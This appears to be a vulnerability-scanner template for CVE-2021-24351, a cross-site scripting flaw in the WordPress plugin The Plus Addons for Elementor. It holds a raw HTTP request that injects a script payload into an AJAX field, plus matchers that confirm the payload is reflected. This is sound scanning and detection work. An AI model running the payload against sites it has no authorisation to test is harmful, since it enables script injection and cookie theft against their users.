56 lines
2.1 KiB
YAML
56 lines
2.1 KiB
YAML
id: CVE-2021-24351
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info:
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name: WordPress The Plus Addons for Elementor <4.1.12 - Cross-Site Scripting
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author: Maximus Decimus
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severity: medium
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description: |
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WordPress The Plus Addons for Elementor plugin before 4.1.12 is susceptible to cross-site scripting. The plugin does not properly sanitize some of its fields in the heplus_more_post AJAX action, which is exploitable by both unauthenticated and authenticated users. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
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remediation: |
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Update to the latest version of WordPress The Plus Addons for Elementor plugin (4.1.12 or higher) to mitigate the vulnerability.
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reference:
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- https://wpscan.com/vulnerability/2ee62f85-7aea-4b7d-8b2d-5d86d9fb8016
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- https://theplusaddons.com/changelog/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24351
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-24351
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cwe-id: CWE-79
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epss-score: 0.00145
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epss-percentile: 0.50054
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cpe: cpe:2.3:a:posimyth:the_plus_addons_for_elementor:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 1
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vendor: posimyth
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product: the_plus_addons_for_elementor
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framework: wordpress
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tags: cve2021,wordpress,wp-plugin,wp,xss,the-plus-addons-for-elementor,wpscan,cve
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http:
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- raw:
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- |
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POST /wp-admin/admin-ajax.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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action=theplus_more_post&post_type=any&posts_per_page=10&offset=0&display_button=yes&post_load=products&animated_columns=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "<script>alert(document.domain)</script>"
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- "the-plus-addons-for-elementor"
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condition: and
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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